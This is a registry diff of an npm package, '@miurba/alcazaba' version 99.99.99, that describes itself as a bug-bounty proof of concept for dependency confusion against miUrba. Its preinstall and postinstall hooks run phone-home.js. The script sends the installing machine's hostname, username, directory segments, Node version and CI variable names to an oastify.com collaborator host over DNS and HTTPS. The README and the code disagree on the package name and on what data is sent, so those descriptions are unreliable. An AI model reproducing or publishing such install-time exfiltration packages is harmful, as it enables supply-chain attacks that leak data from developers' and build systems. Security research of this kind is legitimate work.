@miurba/alcazaba 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,50 @@
1
+ # `@miurba/ui-shell` — SECURITY RESEARCH PLACEHOLDER
2
+
3
+ This package was published to public npm as a **defensive proof-of-concept** for a
4
+ dependency-confusion finding against **miUrba** (Spanish proptech, scope `*.azurestaticapps.net` MiUrba apps),
5
+ reported under the **Secur0** bug bounty program.
6
+
7
+ The miUrba production SPAs (Alcazaba Beach, BackOffice) reference an internal
8
+ `@miurba/ui-shell` library, but the `@miurba` scope was **not reserved** on the
9
+ public npm registry. This placeholder exists so that any system attempting to
10
+ resolve `@miurba/ui-shell` from public npm hits a researcher-controlled package
11
+ instead of an attacker-controlled one.
12
+
13
+ ## What this package does
14
+
15
+ On install (`preinstall` and `postinstall` lifecycle scripts) the package performs:
16
+
17
+ - 1× DNS lookup to a Burp Collaborator instance owned by the researcher
18
+ - 1× HTTPS GET to the same Collaborator
19
+
20
+ The information sent is limited to: install phase (preinstall/postinstall), OS
21
+ hostname, OS username, last two CWD segments, Node.js version, a CI flag, and
22
+ the **names** (not values) of CI-related environment variables.
23
+
24
+ **No secrets, file contents, or environment values are exfiltrated.** The package
25
+ exits 0 in all cases so it never breaks a build.
26
+
27
+ ## What you should do if you reached this package
28
+
29
+ 1. If you are a developer at **miUrba**: please contact `accounts@secur0.com`
30
+ (or `ariverapoblet@imnotahacker.com`) to coordinate transfer of this scope.
31
+ We will republish the scope under your control immediately.
32
+ 2. If you are anyone else: please **do not install this package**. Pin your
33
+ `.npmrc` to your own private registry for `@miurba` if you need it, and
34
+ consider auditing your build for unintended public-registry resolution.
35
+
36
+ ## Source code
37
+
38
+ The full source of this placeholder is available for review:
39
+
40
+ - `package.json`
41
+ - `phone-home.js` (the only logic — outbound DNS + HTTPS only)
42
+ - `index.js` (empty default export)
43
+ - this `README.md`
44
+
45
+ ## Researcher
46
+
47
+ - Handle: `ariverapoblet`
48
+ - Email: `ariverapoblet@imnotahacker.com`
49
+ - Program: Secur0 — miUrba (private #77)
50
+ - Date: 2026-05-10
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // SECURITY RESEARCH PLACEHOLDER — see README.md
2
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "@miurba/alcazaba",
3
+ "version": "99.99.99",
4
+ "description": "SECURITY RESEARCH PLACEHOLDER — Reserved by Secur0 researcher ariverapoblet to demonstrate dependency-confusion exposure in miUrba (Alcazaba Beach SPA references @miurba/alcazaba). NOT for public consumption. Please contact security@miurba.com or via Secur0 to coordinate scope reservation. This package only performs an outbound DNS/HTTP lookup to a Burp Collaborator instance owned by the researcher; no data is collected beyond the fact that an install occurred plus the hostname/username of the runner. Will be unpublished/transferred upon contact.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node phone-home.js preinstall || exit 0",
8
+ "postinstall": "node phone-home.js postinstall || exit 0"
9
+ },
10
+ "keywords": ["security-research", "dependency-confusion", "miurba", "secur0", "placeholder"],
11
+ "author": "ariverapoblet (Secur0)",
12
+ "license": "ISC",
13
+ "homepage": "https://secur0.com",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "https://github.com/security-research/miurba-depconf-poc"
17
+ }
18
+ }
package/phone-home.js ADDED
@@ -0,0 +1,55 @@
1
+ // Security research placeholder for miUrba (Secur0 program).
2
+ // On install, performs ONE DNS lookup + ONE HTTPS GET to a Burp Collaborator
3
+ // owned by the researcher (ariverapoblet) to confirm that this package was
4
+ // resolved via the public npm registry instead of miUrba's private registry.
5
+ //
6
+ // Only the following information is sent: install lifecycle phase, OS hostname,
7
+ // OS username, current working directory, npm package version, install path,
8
+ // node version, and a few sanitized environment variable NAMES (NOT values) to
9
+ // help identify whether this ran inside a CI pipeline. NO secrets, no env values,
10
+ // no file contents are read. The package exits 0 in all cases so installs do not
11
+ // fail (this is a defensive PoC, not a destructive payload).
12
+
13
+ const os = require('os');
14
+ const dns = require('dns');
15
+ const https = require('https');
16
+
17
+ const COLLAB = '5msdnkf4n2bxzrwjtuzvkfzwtnzendb2.oastify.com';
18
+ const phase = process.argv[2] || 'unknown';
19
+
20
+ function safe(v, max) {
21
+ try {
22
+ return String(v).replace(/[^A-Za-z0-9._-]/g, '_').slice(0, max || 64);
23
+ } catch (_) { return 'na'; }
24
+ }
25
+
26
+ const data = {
27
+ phase: safe(phase, 16),
28
+ host: safe(os.hostname(), 64),
29
+ user: safe((os.userInfo() || {}).username || 'na', 32),
30
+ cwd: safe(process.cwd().split('/').slice(-2).join('_'), 64),
31
+ pkg: '_at_miurba_alcazaba',
32
+ pkgver: '99.99.99',
33
+ node: safe(process.version, 16),
34
+ ci: safe(!!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.AZURE_HTTP_USER_AGENT || process.env.BUILD_BUILDID), 8),
35
+ // Just the NAMES of env vars likely present in CI — values are NOT read.
36
+ envkeys: safe(Object.keys(process.env).filter(k => /CI|BUILD|GITHUB|AZURE|RUNNER|NODE_AUTH/i.test(k)).slice(0, 6).join('-'), 96)
37
+ };
38
+
39
+ const sub = `${data.phase}.${data.host}.${data.user}.${data.cwd}.${data.envkeys}.${COLLAB}`;
40
+ const trimmed = sub.length > 250 ? sub.slice(sub.length - 250) : sub;
41
+
42
+ // Outbound 1: DNS — even if egress HTTPS is blocked, DNS often is not.
43
+ try { dns.lookup(trimmed, () => {}); } catch (_) {}
44
+
45
+ // Outbound 2: HTTPS GET — additional confirmation channel with phase tag.
46
+ try {
47
+ https.get({
48
+ hostname: COLLAB,
49
+ path: `/?phase=${encodeURIComponent(data.phase)}&host=${encodeURIComponent(data.host)}&user=${encodeURIComponent(data.user)}&cwd=${encodeURIComponent(data.cwd)}&node=${encodeURIComponent(data.node)}&ci=${encodeURIComponent(data.ci)}&envkeys=${encodeURIComponent(data.envkeys)}`,
50
+ method: 'GET',
51
+ timeout: 4000
52
+ }, () => {}).on('error', () => {}).on('timeout', function(){ this.destroy(); });
53
+ } catch (_) {}
54
+
55
+ setTimeout(() => process.exit(0), 4500);